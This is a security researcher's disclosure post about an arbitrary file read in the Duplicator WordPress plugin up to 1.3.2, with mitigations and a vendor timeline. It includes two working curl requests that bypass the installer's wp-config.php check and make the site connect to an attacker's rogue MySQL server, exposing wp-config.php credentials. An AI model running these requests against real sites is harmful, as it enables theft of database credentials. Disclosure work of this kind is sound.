Duplicator WordPress Plugin <= 1.3.2 - Arbitrary file read
About a week ago, while catching up on all the latest security happenings, I came across a writeup about a bug in phpMyAdmin that allowed arbitrary file reads. After first verifying that this didn’t affect me in any way (we don’t run phpMyAdmin that allows you to connect to other servers), I started to think about how this could be leveraged to attack other systems.
Honestly, I can’t work out why they’re calling this a bug in phpMyAdmin - I don’t think PHP should ship with this functionality enabled by default, if you’re expecting to use it you should have to turn it on manually I think, but that’s neither here nor there.
The first thing I checked is adminer, which I know a lot of people leave laying around on their servers. That didn’t work, but Duplicator did!
Part 1 - Duplicator asks you the MySQL server information.
Using the linked Rogue MySQL server script, simply put the address of your rogue server in, and click the button, and off you go. Nothing to it. Configure it to read ‘wp-config.php’ and ‘../wp-config.php’ and you’re off to the races.
But Duplicator refuses to run if there’s a wp-config.php present right? Not exactly, as with the prior attack on Duplicator, there’s a workaround for that too:
Part 2 - Bypass the check for wp-config.php
If you use the AJAX API, Duplicator happily ignores the wp-config.php long enough to test out the provided MySQL credentials. So using a simple POST request is all it takes for installers made with 1.2.x of the plugin:
curl -d 'action_ajax=2' -d 'dbport=3307' -d 'dbhost=123.456.789.123' 'https://some-vulnerable-host/installer.php?dbtest=true'
1.3.x changes things up a bit, you first have to hit installer.php to extract the full installer (if it’s missing), then the POST request is a bit more complicated, but still fairly trivial:
curl -d 'view=step2' -d 'csrf_token=0' -d 'secure-pass=' -d 'bootloader=installer-test-new.php' \ -d 'archive=a' -d 'logging=1' -d 'dbcolsearchreplace=' -d 'ctrl_action=ctrl-step2' \ -d 'ctrl_csrf_token=0' -d 'view_mode=basic' -d 'exe_safe_mode=0' -d 'dbtest-response=' \ -d 'dbaction=empty' -d 'dbhost=123.456.789.123:3307' -d 'dbname=test' -d 'dbuser=test' \ -d 'dbpass=test' -d 'dbmysqlmode=DEFAULT' -d 'dbmysqlmode_opts=' -d 'dbobj_views=on' \ -d 'dbobj_procs=on' -d 'dbcharset=utf8' -d 'dbcollate=utf8_general_ci' \ 'https://some-vulnerable-host/dup-installer/main.installer.php?dbtest=1'
These both have the same effect, if the webserver is able to connect to your malicious MySQL server:
Obviously it remains best practice to ensure the installer files are removed when you’re done using them - the Duplicator software does it’s best to impress this upon the user, but they don’t seem to get it.
This is tough to block with a WAF, because there’s generally no indication that shows a MySQL server is malicious or not. Blocking all the installer files by default and allowing them during installation mightn’t be a bad idea.
This particular attack is entirely mitigated if you set an installer password when creating the archive.
Finally, you can disable LOAD DATA INFILE in PHP’s mysqli module directly via php.ini:
[MySQLi] mysqli.allow_local_infile = 0
After quickly working out how we could mitigate this ourselves, I reached out to the developers who were very responsive and had came up with a fix by Saturday morning that they’ll push out shortly.
I can’t really fault the responsiveness of the developers, the last few months have probably been pretty rough on them.
- Discovery: 2019-01-01
- Vendor Contacted: 2019-01-02
- Vendor Responded: 2019-01-05
- Fix published: 2019-01-06
It goes without saying that very little of this is original research. Further reading is essentially lifted straight from the VulnSpy article:
Update: It seems the reason I couldn’t find any issues in Adminer is someone else had already reported them, it seems I’m very late to the party!